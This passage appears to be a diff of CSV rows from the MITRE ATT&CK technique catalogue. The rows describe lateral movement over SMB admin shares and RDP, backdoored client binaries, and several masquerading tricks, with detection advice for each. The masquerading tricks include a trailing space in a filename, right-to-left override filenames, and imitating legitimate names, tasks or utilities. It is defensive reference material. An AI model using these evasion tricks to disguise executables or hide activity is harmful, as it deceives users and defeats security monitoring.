Logon Session Creation', 'Network Share: Network Share Access']",,,"['User', 'Administrator']",['Windows'],,CAPEC-561,https://capec.mitre.org/data/definitions/561.html,['SMB enabled; Host/network firewalls not blocking SMB ports between source and destination; Use of domain account in administrator group on remote system or default system admin account.'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1021.001', 'url': 'https://attack.mitre.org/techniques/T1021/001'}, {'external_id': 'CAPEC-555', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html'}, {'url': 'https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx', 'description': 'Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.', 'source_name': 'TechNet Remote Desktop Services'}, {'url': 'http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/', 'description': 'Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.', 'source_name': 'Alperovitch Malware'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.0,True,https://attack.mitre.org/techniques/T1021/001,mitre-attack,T1021.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remote Desktop Protocol,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. +Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)",['lateral-movement'],https://attack.mitre.org/techniques/T1021/002,mitre-attack,T1021.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Network Share: Network Share Access']",,"Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)",True,"['User', 'Administrator']",['Windows'],,CAPEC-561,https://capec.mitre.org/data/definitions/561.html,['SMB enabled; Host/network firewalls not blocking SMB ports between source and destination; Use of domain account in administrator group on remote system or default system admin account.'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021/001', 'external_id': 'T1021.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html', 'external_id': 'CAPEC-555'}, {'source_name': 'TechNet Remote Desktop Services', 'description': 'Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.', 'url': 'https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx'}, {'source_name': 'Alperovitch Malware', 'description': 'Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.', 'url': 'http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/'}]",1.0,attack-pattern,attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:23:26.059Z,2020-02-25T19:23:34.204Z,Remote Desktop Protocol,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) -Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation: Alperovitch Malware)",attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf,attack-pattern,['lateral-movement'],2020-02-25T19:23:34.204Z,2020-02-11T18:23:26.059Z,"Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation']","['Matthew Demaske, Adaptforward']",,"['Remote Desktop Users', 'User']",['Windows'],,CAPEC-555,https://capec.mitre.org/data/definitions/555.html,"['RDP service enabled, account in the Remote Desktop Users group']",,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1554', 'url': 'https://attack.mitre.org/techniques/T1554'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,False,https://attack.mitre.org/techniques/T1554,mitre-attack,T1554,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compromise Client Software Binary,"Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers. +Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation: Alperovitch Malware)",['lateral-movement'],https://attack.mitre.org/techniques/T1021/001,mitre-attack,T1021.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matthew Demaske, Adaptforward']","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation']",,"Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.",True,"['Remote Desktop Users', 'User']",['Windows'],,CAPEC-555,https://capec.mitre.org/data/definitions/555.html,"['RDP service enabled, account in the Remote Desktop Users group']",,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1554', 'external_id': 'T1554'}]",1.0,attack-pattern,attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:18:34.279Z,2021-10-19T03:18:43.648Z,Compromise Client Software Binary,"Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers. -Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.",attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5,attack-pattern,['persistence'],2020-03-27T14:49:58.249Z,2020-02-11T18:18:34.279Z,"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. +Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.",['persistence'],https://attack.mitre.org/techniques/T1554,mitre-attack,T1554,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['CrowdStrike Falcon OverWatch'],"['File: File Modification', 'File: File Creation', 'File: File Deletion', 'File: File Metadata']",,"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. -Consider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.","['File: File Modification', 'File: File Creation', 'File: File Deletion', 'File: File Metadata']",['CrowdStrike Falcon OverWatch'],,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1036.006', 'url': 'https://attack.mitre.org/techniques/T1036/006'}, {'external_id': 'CAPEC-649', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/649.html'}, {'url': 'https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/', 'description': 'Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.', 'source_name': 'Mac Backdoors are back'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1036/006,mitre-attack,T1036.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Space after Filename,"Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. +Consider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.",False,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/006', 'external_id': 'T1036.006'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/649.html', 'external_id': 'CAPEC-649'}, {'source_name': 'Mac Backdoors are back', 'description': 'Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.', 'url': 'https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/'}]",1.0,attack-pattern,attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-10T20:47:10.082Z,2020-03-29T20:26:01.690Z,Space after Filename,"Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). -Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86,attack-pattern,['defense-evasion'],2020-03-29T20:26:01.690Z,2020-02-10T20:47:10.082Z,"It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.",['File: File Metadata'],"['Erye Hernandez, Palo Alto Networks']",,['User'],"['Linux', 'macOS']",,CAPEC-649,https://capec.mitre.org/data/definitions/649.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1036.005', 'url': 'https://attack.mitre.org/techniques/T1036/005'}, {'external_id': 'CAPEC-177', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/177.html'}, {'source_name': 'Elastic Masquerade Ball', 'description': 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.', 'url': 'http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf'}, {'source_name': 'Twitter ItsReallyNick Masquerading Update', 'url': 'https://twitter.com/ItsReallyNick/status/1055321652777619457', 'description': 'Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.'}, {'source_name': 'Docker Images', 'url': 'https://docs.docker.com/engine/reference/commandline/images/', 'description': 'Docker. (n.d.). Docker Images. Retrieved April 6, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1036/005,mitre-attack,T1036.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Match Legitimate Name or Location,"Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous. +Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",['defense-evasion'],https://attack.mitre.org/techniques/T1036/006,mitre-attack,T1036.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Erye Hernandez, Palo Alto Networks']",['File: File Metadata'],,"It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.",True,['User'],"['Linux', 'macOS']",,CAPEC-649,https://capec.mitre.org/data/definitions/649.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/005', 'external_id': 'T1036.005'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/177.html', 'external_id': 'CAPEC-177'}, {'source_name': 'Elastic Masquerade Ball', 'description': 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.', 'url': 'http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf'}, {'source_name': 'Twitter ItsReallyNick Masquerading Update', 'description': 'Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.', 'url': 'https://twitter.com/ItsReallyNick/status/1055321652777619457'}, {'source_name': 'Docker Images', 'description': 'Docker. (n.d.). Docker Images. Retrieved April 6, 2021.', 'url': 'https://docs.docker.com/engine/reference/commandline/images/'}]",1.1,attack-pattern,attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-10T20:43:10.239Z,2021-04-20T19:23:37.762Z,Match Legitimate Name or Location,"Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous. -Adversaries may also use the same icon of the file they are trying to mimic.",attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2,attack-pattern,['defense-evasion'],2021-04-20T19:23:37.762Z,2020-02-10T20:43:10.239Z,"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. +Adversaries may also use the same icon of the file they are trying to mimic.",['defense-evasion'],https://attack.mitre.org/techniques/T1036/005,mitre-attack,T1036.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee']","['Image: Image Metadata', 'File: File Metadata', 'Process: Process Metadata']",['Application control by file name or path'],"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) -In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.","['Image: Image Metadata', 'File: File Metadata', 'Process: Process Metadata']","['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee']",['Application control by file name or path'],,"['Linux', 'macOS', 'Windows', 'Containers']",,CAPEC-177,https://capec.mitre.org/data/definitions/177.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1036.004', 'url': 'https://attack.mitre.org/techniques/T1036/004'}, {'url': 'https://technet.microsoft.com/en-us/library/bb490996.aspx', 'description': 'Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.', 'source_name': 'TechNet Schtasks'}, {'source_name': 'Systemd Service Units', 'url': 'https://www.freedesktop.org/software/systemd/man/systemd.service.html', 'description': 'Freedesktop.org. (n.d.). systemd.service — Service unit configuration. Retrieved March 16, 2020.'}, {'url': 'http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/', 'description': 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.', 'source_name': 'Palo Alto Shamoon Nov 2016'}, {'url': 'https://vms.drweb.com/virus/?i=4276269', 'description': 'Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.', 'source_name': 'Fysbis Dr Web Analysis'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1036/004,mitre-attack,T1036.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Masquerade Task or Service,"Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones. +In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.",True,,"['Linux', 'macOS', 'Windows', 'Containers']",,CAPEC-177,https://capec.mitre.org/data/definitions/177.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/004', 'external_id': 'T1036.004'}, {'source_name': 'TechNet Schtasks', 'description': 'Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/bb490996.aspx'}, {'source_name': 'Systemd Service Units', 'description': 'Freedesktop.org. (n.d.). systemd.service — Service unit configuration. Retrieved March 16, 2020.', 'url': 'https://www.freedesktop.org/software/systemd/man/systemd.service.html'}, {'source_name': 'Palo Alto Shamoon Nov 2016', 'description': 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.', 'url': 'http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/'}, {'source_name': 'Fysbis Dr Web Analysis', 'description': 'Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.', 'url': 'https://vms.drweb.com/virus/?i=4276269'}]",1.1,attack-pattern,attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-10T20:30:07.426Z,2021-10-18T13:24:52.618Z,Masquerade Task or Service,"Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones. -Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)",attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c,attack-pattern,['defense-evasion'],2021-04-24T13:24:45.580Z,2020-02-10T20:30:07.426Z,"Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","['Command: Command Execution', 'Service: Service Metadata', 'Service: Service Creation', 'Scheduled Job: Scheduled Job Metadata', 'Scheduled Job: Scheduled Job Modification']",,,"['User', 'Administrator', 'SYSTEM']","['Windows', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1036.003', 'url': 'https://attack.mitre.org/techniques/T1036/003'}, {'source_name': 'LOLBAS Main Site', 'url': 'https://lolbas-project.github.io/', 'description': 'LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.'}, {'source_name': 'Elastic Masquerade Ball', 'description': 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.', 'url': 'http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf'}, {'source_name': 'F-Secure CozyDuke', 'description': 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.', 'url': 'https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf'}, {'source_name': 'Twitter ItsReallyNick Masquerading Update', 'url': 'https://twitter.com/ItsReallyNick/status/1055321652777619457', 'description': 'Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1036/003,mitre-attack,T1036.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Rename System Utilities,Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke),attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b,attack-pattern,['defense-evasion'],2020-11-23T17:03:38.941Z,2020-02-10T20:03:11.691Z,"If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)","['File: File Modification', 'Process: Process Metadata', 'Command: Command Execution', 'File: File Metadata']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1036.002', 'url': 'https://attack.mitre.org/techniques/T1036/002'}, {'source_name': 'Infosecinstitute RTLO Technique', 'url': 'https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/', 'description': 'Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.'}, {'source_name': 'Trend Micro PLEAD RTLO', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/', 'description': 'Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.'}, {'source_name': 'Kaspersky RTLO Cyber Crime', 'url': 'https://securelist.com/zero-day-vulnerability-in-telegram/83800/', 'description': 'Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1036/002,mitre-attack,T1036.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Right-to-Left Override,"Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png. +Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)",['defense-evasion'],https://attack.mitre.org/techniques/T1036/004,mitre-attack,T1036.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Service: Service Metadata', 'Service: Service Creation', 'Scheduled Job: Scheduled Job Metadata', 'Scheduled Job: Scheduled Job Modification']",,"Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,"['User', 'Administrator', 'SYSTEM']","['Windows', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/003', 'external_id': 'T1036.003'}, {'source_name': 'LOLBAS Main Site', 'description': 'LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.', 'url': 'https://lolbas-project.github.io/'}, {'source_name': 'Elastic Masquerade Ball', 'description': 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.', 'url': 'http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf'}, {'source_name': 'F-Secure CozyDuke', 'description': 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.', 'url': 'https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf'}, {'source_name': 'Twitter ItsReallyNick Masquerading Update', 'description': 'Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.', 'url': 'https://twitter.com/ItsReallyNick/status/1055321652777619457'}]",1.0,attack-pattern,attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-10T20:03:11.691Z,2020-11-23T17:03:38.941Z,Rename System Utilities,Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke),['defense-evasion'],https://attack.mitre.org/techniques/T1036/003,mitre-attack,T1036.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'Process: Process Metadata', 'Command: Command Execution', 'File: File Metadata']",,"If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead 